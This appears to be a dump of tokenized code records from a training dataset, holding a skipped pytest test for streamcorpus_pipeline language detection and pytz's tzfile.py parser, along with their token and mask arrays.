[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
trec-kba/streamcorpus-pipeline
streamcorpus_pipeline/tests/test_language.py
1
1657
'''tests for langauge detection transform .. This software is released under an MIT/X11 open source license. Copyright 2012-2015 Diffeo, Inc. ''' from __future__ import absolute_import import os import pytest import streamcorpus_pipeline from streamcorpus_pipeline._clean_html import clean_html from streamcorpus_pipeline._language import language from streamcorpus import make_stream_item, ContentItem @pytest.mark.skipif(True, reason='no longer used') def test_langauge(test_data_dir): path = os.path.join(test_data_dir, 'test/raw-unicode-issues.html') si = make_stream_item(None, 'test') si.body = ContentItem(raw=open(path).read()) context = {} lang = language(config={}) lang(si, context) assert si.body.language.name == 'Japanese' assert si.body.language.code == 'ja' @pytest.mark.skipif(True, reason='no longer used') @pytest.mark.parametrize('with_clean_html', [(True,), (False,)]) def test_language_unreliable_on_raw(test_data_dir, with_clean_html): path = os.path.join(test_data_dir, 'test/unreliable-language-detect-on-raw.html') si = make_stream_item(None, 'http://bbs.sjtu.edu.cn/bbsanc?path=%2Fgroups%2FGROUP_0%2Fmessage%2FD4EFC2634%2FD7AC8E3A8%2FG.1092960050.A') raw = open(path).read() #raw = raw.decode('GB2312', 'ignore').encode('utf8') si.body = ContentItem(raw=raw) si.body.encoding = 'GB2312' si.body.media_type = 'text/html' context = {} if with_clean_html: ch = clean_html(config={}) ch(si, context) lang = language(config={}) lang(si, context) assert si.body.language.name == 'Chinese' assert si.body.language.code == 'zh'
mit
[ 2344, 2219, 367, 6339, 30949, 15212, 5793, 199, 199, 703, 961, 2032, 365, 14286, 1334, 376, 10697, 15, 56, 845, 1551, 1350, 4190, 14, 2043, 1898, 6029, 13, 7806, 18029, 79, 12, 3277, 14, 199, 2344, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 646, 747, 199, 646, 4613, 199, 646, 2547, 16780, 63, 7379, 199, 504, 2547, 16780, 63, 7379, 423, 3118, 63, 1360, 492, 3633, 63, 1360, 199, 504, 2547, 16780, 63, 7379, 423, 3671, 492, 2637, 199, 504, 2547, 16780, 492, 1852, 63, 1745, 63, 1053, 12, 6646, 2081, 421, 199, 32, 4462, 14, 1657, 14, 22696, 8, 549, 12, 4499, 534, 889, 8088, 1202, 358, 199, 318, 511, 63, 4159, 30949, 8, 396, 63, 576, 63, 694, 304, 272, 931, 275, 747, 14, 515, 14, 904, 8, 396, 63, 576, 63, 694, 12, 283, 396, 15, 1773, 13, 2975, 13, 10115, 14, 1360, 358, 272, 13877, 275, 1852, 63, 1745, 63, 1053, 8, 403, 12, 283, 396, 358, 272, 13877, 14, 2030, 275, 6646, 2081, 8, 1773, 29, 1490, 8, 515, 680, 739, 1012, 272, 1067, 275, 1052, 272, 6339, 275, 2637, 8, 888, 21146, 272, 6339, 8, 338, 12, 1067, 9, 339, 702, 13877, 14, 2030, 14, 3671, 14, 354, 508, 283, 42, 30699, 7, 272, 702, 13877, 14, 2030, 14, 3671, 14, 600, 508, 283, 3387, 7, 421, 199, 32, 4462, 14, 1657, 14, 22696, 8, 549, 12, 4499, 534, 889, 8088, 1202, 358, 199, 32, 4462, 14, 1657, 14, 10396, 360, 1045, 63, 3118, 63, 1360, 297, 3842, 549, 4706, 334, 797, 12, 3948, 199, 318, 511, 63, 3671, 63, 324, 26557, 461, 63, 265, 63, 1773, 8, 396, 63, 576, 63, 694, 12, 543, 63, 3118, 63, 1360, 304, 272, 931, 275, 747, 14, 515, 14, 904, 8, 396, 63, 576, 63, 694, 12, 283, 396, 15, 324, 26557, 461, 13, 3671, 13, 13552, 13, 265, 13, 1773, 14, 1360, 358, 272, 13877, 275, 1852, 63, 1745, 63, 1053, 8, 403, 12, 283, 1014, 921, 66, 1533, 14, 83, 74, 10963, 14, 8654, 14, 6413, 15, 66, 1533, 18595, 31, 515, 2458, 18, 38, 2634, 5, 18, 38, 7823, 63, 16, 5, 18, 38, 1188, 5, 18, 7902, 20, 37, 4161, 1479, 1082, 5, 18, 7902, 23, 1348, 24, 37, 19, 33, 24, 5, 18, 27453, 14, 6996, 1398, 6683, 1400, 14, 33, 358, 272, 3066, 275, 1551, 8, 515, 680, 739, 342, 272, 327, 1773, 275, 3066, 14, 2708, 360, 6487, 16909, 297, 283, 4247, 1959, 2143, 360, 1624, 24, 358, 272, 13877, 14, 2030, 275, 6646, 2081, 8, 1773, 29, 1773, 9, 272, 13877, 14, 2030, 14, 2991, 275, 283, 6487, 16909, 7, 272, 13877, 14, 2030, 14, 4603, 63, 466, 275, 283, 505, 15, 1360, 7, 272, 1067, 275, 1052, 272, 340, 543, 63, 3118, 63, 1360, 26, 267, 682, 275, 3633, 63, 1360, 8, 888, 21146, 267, 682, 8, 338, 12, 1067, 9, 272, 6339, 275, 2637, 8, 888, 21146, 272, 6339, 8, 338, 12, 1067, 9, 339, 702, 13877, 14, 2030, 14, 3671, 14, 354, 508, 283, 1049, 26883, 7, 272, 702, 13877, 14, 2030, 14, 3671, 14, 600, 508, 283, 3951, 7, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2219, 367, 6339, 30949, 15212, 5793, 199, 199, 703, 961, 2032, 365, 14286, 1334, 376, 10697, 15, 56, 845, 1551, 1350, 4190, 14, 2043, 1898, 6029, 13, 7806, 18029, 79, 12, 3277, 14, 199, 2344, 199, 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 646, 747, 199, 646, 4613, 199, 646, 2547, 16780, 63, 7379, 199, 504, 2547, 16780, 63, 7379, 423, 3118, 63, 1360, 492, 3633, 63, 1360, 199, 504, 2547, 16780, 63, 7379, 423, 3671, 492, 2637, 199, 504, 2547, 16780, 492, 1852, 63, 1745, 63, 1053, 12, 6646, 2081, 421, 199, 32, 4462, 14, 1657, 14, 22696, 8, 549, 12, 4499, 534, 889, 8088, 1202, 358, 199, 318, 511, 63, 4159, 30949, 8, 396, 63, 576, 63, 694, 304, 272, 931, 275, 747, 14, 515, 14, 904, 8, 396, 63, 576, 63, 694, 12, 283, 396, 15, 1773, 13, 2975, 13, 10115, 14, 1360, 358, 272, 13877, 275, 1852, 63, 1745, 63, 1053, 8, 403, 12, 283, 396, 358, 272, 13877, 14, 2030, 275, 6646, 2081, 8, 1773, 29, 1490, 8, 515, 680, 739, 1012, 272, 1067, 275, 1052, 272, 6339, 275, 2637, 8, 888, 21146, 272, 6339, 8, 338, 12, 1067, 9, 339, 702, 13877, 14, 2030, 14, 3671, 14, 354, 508, 283, 42, 30699, 7, 272, 702, 13877, 14, 2030, 14, 3671, 14, 600, 508, 283, 3387, 7, 421, 199, 32, 4462, 14, 1657, 14, 22696, 8, 549, 12, 4499, 534, 889, 8088, 1202, 358, 199, 32, 4462, 14, 1657, 14, 10396, 360, 1045, 63, 3118, 63, 1360, 297, 3842, 549, 4706, 334, 797, 12, 3948, 199, 318, 511, 63, 3671, 63, 324, 26557, 461, 63, 265, 63, 1773, 8, 396, 63, 576, 63, 694, 12, 543, 63, 3118, 63, 1360, 304, 272, 931, 275, 747, 14, 515, 14, 904, 8, 396, 63, 576, 63, 694, 12, 283, 396, 15, 324, 26557, 461, 13, 3671, 13, 13552, 13, 265, 13, 1773, 14, 1360, 358, 272, 13877, 275, 1852, 63, 1745, 63, 1053, 8, 403, 12, 283, 1014, 921, 66, 1533, 14, 83, 74, 10963, 14, 8654, 14, 6413, 15, 66, 1533, 18595, 31, 515, 2458, 18, 38, 2634, 5, 18, 38, 7823, 63, 16, 5, 18, 38, 1188, 5, 18, 7902, 20, 37, 4161, 1479, 1082, 5, 18, 7902, 23, 1348, 24, 37, 19, 33, 24, 5, 18, 27453, 14, 6996, 1398, 6683, 1400, 14, 33, 358, 272, 3066, 275, 1551, 8, 515, 680, 739, 342, 272, 327, 1773, 275, 3066, 14, 2708, 360, 6487, 16909, 297, 283, 4247, 1959, 2143, 360, 1624, 24, 358, 272, 13877, 14, 2030, 275, 6646, 2081, 8, 1773, 29, 1773, 9, 272, 13877, 14, 2030, 14, 2991, 275, 283, 6487, 16909, 7, 272, 13877, 14, 2030, 14, 4603, 63, 466, 275, 283, 505, 15, 1360, 7, 272, 1067, 275, 1052, 272, 340, 543, 63, 3118, 63, 1360, 26, 267, 682, 275, 3633, 63, 1360, 8, 888, 21146, 267, 682, 8, 338, 12, 1067, 9, 272, 6339, 275, 2637, 8, 888, 21146, 272, 6339, 8, 338, 12, 1067, 9, 339, 702, 13877, 14, 2030, 14, 3671, 14, 354, 508, 283, 1049, 26883, 7, 272, 702, 13877, 14, 2030, 14, 3671, 14, 600, 508, 283, 3951, 7, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
rolapp/plugin.video.zattooHiQ
pytz/tzfile.py
129
4882
#!/usr/bin/env python ''' $Id: tzfile.py,v 1.8 2004/06/03 00:15:24 zenzen Exp $ ''' try: from cStringIO import StringIO except ImportError: from io import StringIO from datetime import datetime, timedelta from struct import unpack, calcsize from pytz.tzinfo import StaticTzInfo, DstTzInfo, memorized_ttinfo from pytz.tzinfo import memorized_datetime, memorized_timedelta def _byte_string(s): """Cast a string or byte string to an ASCII byte string.""" return s.encode('ASCII') _NULL = _byte_string('\0') def _std_string(s): """Cast a string or byte string to an ASCII string.""" return str(s.decode('ASCII')) def build_tzinfo(zone, fp): head_fmt = '>4s c 15x 6l' head_size = calcsize(head_fmt) (magic, format, ttisgmtcnt, ttisstdcnt,leapcnt, timecnt, typecnt, charcnt) = unpack(head_fmt, fp.read(head_size)) # Make sure it is a tzfile(5) file assert magic == _byte_string('TZif'), 'Got magic %s' % repr(magic) # Read out the transition times, localtime indices and ttinfo structures. data_fmt = '>%(timecnt)dl %(timecnt)dB %(ttinfo)s %(charcnt)ds' % dict( timecnt=timecnt, ttinfo='lBB'*typecnt, charcnt=charcnt) data_size = calcsize(data_fmt) data = unpack(data_fmt, fp.read(data_size)) # make sure we unpacked the right number of values assert len(data) == 2 * timecnt + 3 * typecnt + 1 transitions = [memorized_datetime(trans) for trans in data[:timecnt]] lindexes = list(data[timecnt:2 * timecnt]) ttinfo_raw = data[2 * timecnt:-1] tznames_raw = data[-1] del data # Process ttinfo into separate structs ttinfo = [] tznames = {} i = 0 while i < len(ttinfo_raw): # have we looked up this timezone name yet? tzname_offset = ttinfo_raw[i+2] if tzname_offset not in tznames: nul = tznames_raw.find(_NULL, tzname_offset) if nul < 0: nul = len(tznames_raw) tznames[tzname_offset] = _std_string( tznames_raw[tzname_offset:nul]) ttinfo.append((ttinfo_raw[i], bool(ttinfo_raw[i+1]), tznames[tzname_offset])) i += 3 # Now build the timezone object if len(ttinfo) ==1 or len(transitions) == 0: ttinfo[0][0], ttinfo[0][2] cls = type(zone, (StaticTzInfo,), dict( zone=zone, _utcoffset=memorized_timedelta(ttinfo[0][0]), _tzname=ttinfo[0][2])) else: # Early dates use the first standard time ttinfo i = 0 while ttinfo[i][1]: i += 1 if ttinfo[i] == ttinfo[lindexes[0]]: transitions[0] = datetime.min else: transitions.insert(0, datetime.min) lindexes.insert(0, i) # calculate transition info transition_info = [] for i in range(len(transitions)): inf = ttinfo[lindexes[i]] utcoffset = inf[0] if not inf[1]: dst = 0 else: for j in range(i-1, -1, -1): prev_inf = ttinfo[lindexes[j]] if not prev_inf[1]: break dst = inf[0] - prev_inf[0] # dst offset # Bad dst? Look further. DST > 24 hours happens when # a timzone has moved across the international dateline. if dst <= 0 or dst > 3600*3: for j in range(i+1, len(transitions)): stdinf = ttinfo[lindexes[j]] if not stdinf[1]: dst = inf[0] - stdinf[0] if dst > 0: break # Found a useful std time. tzname = inf[2] # Round utcoffset and dst to the nearest minute or the # datetime library will complain. Conversions to these timezones # might be up to plus or minus 30 seconds out, but it is # the best we can do. utcoffset = int((utcoffset + 30) // 60) * 60 dst = int((dst + 30) // 60) * 60 transition_info.append(memorized_ttinfo(utcoffset, dst, tzname)) cls = type(zone, (DstTzInfo,), dict( zone=zone, _utc_transition_times=transitions, _transition_info=transition_info)) return cls() if __name__ == '__main__': import os.path from pprint import pprint base = os.path.join(os.path.dirname(__file__), 'zoneinfo') tz = build_tzinfo('Australia/Melbourne', open(os.path.join(base,'Australia','Melbourne'), 'rb')) tz = build_tzinfo('US/Eastern', open(os.path.join(base,'US','Eastern'), 'rb')) pprint(tz._utc_transition_times) #print tz.asPython(4) #print tz.transitions_mapping
bsd-2-clause
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 2344, 199, 4, 1304, 26, 5823, 493, 14, 647, 12, 86, 413, 14, 24, 8353, 15, 1690, 15, 1644, 8733, 26, 1046, 26, 1194, 1315, 287, 5193, 7910, 2672, 199, 2344, 199, 199, 893, 26, 272, 687, 15073, 492, 5228, 199, 2590, 3545, 26, 272, 687, 5890, 492, 5228, 199, 504, 2197, 492, 2197, 12, 6871, 199, 504, 2702, 492, 7787, 12, 12831, 890, 199, 199, 504, 15444, 14, 9374, 492, 13599, 52, 90, 2354, 12, 577, 270, 52, 90, 2354, 12, 7573, 269, 1759, 63, 6215, 815, 199, 504, 15444, 14, 9374, 492, 7573, 269, 1759, 63, 2083, 12, 7573, 269, 1759, 63, 7473, 199, 199, 318, 485, 4414, 63, 875, 8, 83, 304, 272, 408, 24654, 282, 1059, 503, 3696, 1059, 370, 376, 10485, 3696, 1059, 1041, 272, 372, 308, 14, 2143, 360, 12292, 358, 199, 199, 63, 8084, 275, 485, 4414, 63, 875, 2258, 16, 358, 199, 199, 318, 485, 1516, 63, 875, 8, 83, 304, 272, 408, 24654, 282, 1059, 503, 3696, 1059, 370, 376, 10485, 1059, 1041, 272, 372, 620, 8, 83, 14, 2708, 360, 12292, 1333, 199, 199, 318, 1900, 63, 9374, 8, 2619, 12, 4090, 304, 272, 4854, 63, 5045, 275, 12696, 20, 83, 286, 4114, 88, 1227, 76, 7, 272, 4854, 63, 890, 275, 12831, 890, 8, 2993, 63, 5045, 9, 272, 334, 11523, 12, 1475, 12, 307, 280, 1226, 2037, 6507, 12, 307, 16753, 1516, 6507, 12, 28764, 6507, 12, 900, 6507, 12, 267, 730, 6507, 12, 1495, 6507, 9, 275, 221, 7787, 8, 2993, 63, 5045, 12, 4090, 14, 739, 8, 2993, 63, 890, 430, 339, 327, 4155, 3238, 652, 365, 282, 5823, 493, 8, 21, 9, 570, 272, 702, 10628, 508, 485, 4414, 63, 875, 360, 14226, 692, 659, 283, 13662, 10628, 450, 83, 7, 450, 4700, 8, 11523, 9, 339, 327, 5574, 734, 314, 14116, 5431, 12, 2257, 521, 4918, 436, 13638, 815, 13955, 14, 272, 666, 63, 5045, 275, 12696, 2840, 521, 6507, 9, 5030, 2818, 521, 6507, 9, 26256, 2818, 6215, 815, 9, 83, 2818, 1560, 6507, 9, 795, 7, 450, 1211, 8, 267, 900, 6507, 29, 521, 6507, 12, 13638, 815, 534, 76, 5342, 16804, 466, 6507, 12, 1495, 6507, 29, 1560, 6507, 9, 272, 666, 63, 890, 275, 12831, 890, 8, 576, 63, 5045, 9, 272, 666, 275, 7787, 8, 576, 63, 5045, 12, 4090, 14, 739, 8, 576, 63, 890, 430, 339, 327, 1852, 3238, 781, 23389, 314, 2451, 1329, 402, 1338, 272, 702, 822, 8, 576, 9, 508, 499, 627, 900, 6507, 435, 650, 627, 730, 6507, 435, 413, 272, 19077, 275, 359, 5286, 269, 1759, 63, 2083, 8, 1515, 9, 673, 367, 1752, 315, 666, 1491, 521, 6507, 2677, 272, 7403, 731, 397, 275, 769, 8, 576, 59, 521, 6507, 26, 18, 627, 900, 6507, 566, 272, 13638, 815, 63, 1773, 275, 666, 59, 18, 627, 900, 6507, 6809, 17, 61, 272, 5823, 1247, 63, 1773, 275, 666, 1988, 17, 61, 272, 2150, 666, 339, 327, 7132, 13638, 815, 1901, 7396, 2702, 83, 272, 13638, 815, 275, 942, 272, 5823, 1247, 275, 1052, 272, 284, 275, 378, 272, 1830, 284, 665, 822, 8, 6215, 815, 63, 1773, 304, 267, 327, 1172, 781, 21182, 1536, 642, 7137, 536, 5966, 31, 267, 28054, 63, 2743, 275, 13638, 815, 63, 1773, 59, 73, 11, 18, 61, 267, 340, 28054, 63, 2743, 440, 315, 5823, 1247, 26, 288, 302, 348, 275, 5823, 1247, 63, 1773, 14, 1623, 1547, 8084, 12, 28054, 63, 2743, 9, 288, 340, 302, 348, 665, 378, 26, 355, 302, 348, 275, 822, 8, 3903, 1247, 63, 1773, 9, 288, 5823, 1247, 59, 20027, 63, 2743, 61, 275, 485, 1516, 63, 875, 8, 355, 5823, 1247, 63, 1773, 59, 20027, 63, 2743, 26, 78, 348, 566, 267, 13638, 815, 14, 740, 1332, 6215, 815, 63, 1773, 59, 73, 467, 2432, 2155, 8, 6215, 815, 63, 1773, 59, 73, 11, 17, 2522, 2432, 5823, 1247, 59, 20027, 63, 2743, 2459, 267, 284, 847, 650, 339, 327, 7356, 1900, 314, 7137, 909, 272, 340, 822, 8, 6215, 815, 9, 508, 17, 503, 822, 8, 23062, 9, 508, 378, 26, 267, 13638, 815, 59, 16, 1527, 16, 467, 13638, 815, 59, 16, 1527, 18, 61, 267, 843, 275, 730, 8, 2619, 12, 334, 9278, 52, 90, 2354, 4706, 1211, 8, 288, 5718, 29, 2619, 12, 288, 485, 24036, 29, 5286, 269, 1759, 63, 7473, 8, 6215, 815, 59, 16, 1527, 16, 2522, 288, 485, 20027, 29, 6215, 815, 59, 16, 1527, 18, 2459, 272, 587, 26, 267, 327, 662, 285, 590, 10831, 675, 314, 1642, 4465, 900, 13638, 815, 267, 284, 275, 378, 267, 1830, 13638, 815, 59, 73, 1527, 17, 2189, 288, 284, 847, 413, 267, 340, 13638, 815, 59, 73, 61, 508, 13638, 815, 59, 472, 731, 397, 59, 16, 27589, 288, 19077, 59, 16, 61, 275, 2197, 14, 827, 267, 587, 26, 288, 19077, 14, 3176, 8, 16, 12, 2197, 14, 827, 9, 288, 7403, 731, 397, 14, 3176, 8, 16, 12, 284, 9, 398, 327, 8671, 14116, 2256, 267, 14116, 63, 815, 275, 942, 267, 